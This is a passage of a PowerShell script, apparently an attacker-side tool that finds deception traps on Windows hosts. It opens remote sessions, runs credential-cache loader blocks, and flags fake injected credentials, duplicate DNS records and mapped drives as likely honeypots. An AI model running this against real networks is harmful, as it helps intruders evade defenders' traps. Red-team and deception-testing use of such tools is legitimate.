$objcount = (($ResolvedDNS.GetEnumerator() | Where-Object {$_.Value -contains $IPVal})| Group-Object -AsHashTable).count
if ($objcount -gt 4)
{
$ObjectB = New-Object PSObject
$ObjectB | add-member Noteproperty ComputerName ($CurrHostname)
$ObjectB | add-member Noteproperty IPAddress ($IPVal)
$ObjectB | add-member Noteproperty Count ($objcount)
$Results += $ObjectB
}
$objcount = 0
$IPAdd = $null
$IPVal = $null
}
return $Results
}
return (Get-DNSTroll($args))
}
if($ComputerName -ne "localhost")
{
Write-Host "Intiating Remote Connection with" $computerName -ForegroundColor Red -BackgroundColor Black
$Session = new-pssession -computerName $ComputerName
$OSArch = Invoke-Command -Session $Session -ScriptBlock {([IntPtr]::Size)}
if($OSArch -eq 8)
{
$CachedUsersRes = Invoke-Command -Session $Session -ScriptBlock $Loader64Block
}
else
{
$CachedUsersRes = Invoke-Command -Session $Session -ScriptBlock $Loader32Block
}
$DNSAnomaly = Invoke-Command -Session $Session -ScriptBlock $LoaderDNS -ArgumentList $CompList
}
else
{
if(([IntPtr]::Size) -eq 8)
{
$CachedUsersRes = invoke-command -scriptblock $Loader64Block
}
else
{
$CachedUsersRes = invoke-command -scriptblock $Loader32Block
}
$DNSAnomaly = Invoke-Command -ScriptBlock $LoaderDNS -ArgumentList $CompList
}}
if(!$OpSec)
{
if($CsvOutput)
{
Write-Host "Injected Fake Credentials Honey Tokens Running From" $computerName -ForegroundColor Gray -BackgroundColor Black
$CachedRes = Get-CachedUser ($CachedUsersRes)
$CachedRes | Where-Object {$_.DeceptionType -ne "BreadCrumbs"} | Export-Csv $path\InjectedCredentials.csv
Write-Host "Multiple DNS Records Anomaly Running From" $computerName -ForegroundColor Gray -BackgroundColor Black
$DNSAnomaly | select ComputerName, IPAddress, Count | Export-Csv $path\DNSAnomaly.csv
Write-Host "Mapped Drives Potential Honey Pots Locally" -ForegroundColor Gray -BackgroundColor Black
$Targets += $CachedRes | % {$_.InjectedTarget}
$Targets += $DNSAnomaly | % {$_.IPAddress}
$MappedDriveRes = Get-WinShares ($Targets)
$MappedDriveRes | select -unique DriveLetter,Path | Export-Csv $path\MappedDrives.csv
Write-Host "Done Printing to CSV" -ForegroundColor Green -BackgroundColor Black
}
else
{
Write-Host "Injected Fake Credentials Honey Tokens Running From" $computerName -ForegroundColor Gray -BackgroundColor Black
$CachedRes = Get-CachedUser ($CachedUsersRes)
$CachedRes | Where-Object {$_.DeceptionType -ne "BreadCrumbs"} | Select InjectedUserName,InjectedTarget,SessionUserName,SessionDomain,FakeRank,DeceptionType | format-table -Force -Wrap
Write-Host "Multiple DNS Records Anomaly Running From" $computerName -ForegroundColor Gray -BackgroundColor Black
$DNSAnomaly | select ComputerName, IPAddress, Count | format-table -Force -AUTO
Write-Host "Mapped Drives Potential Honey Pots Locally" -ForegroundColor Gray -BackgroundColor Black
$Targets += $CachedRes | % {$_.InjectedTarget}
$Targets += $DNSAnomaly | % {$_.IPAddress}
$MappedDriveRes = Get-WinShares ($Targets)
$MappedDriveRes | select -unique DriveLetter,Path | format-table -Force -AUTO
}
}
}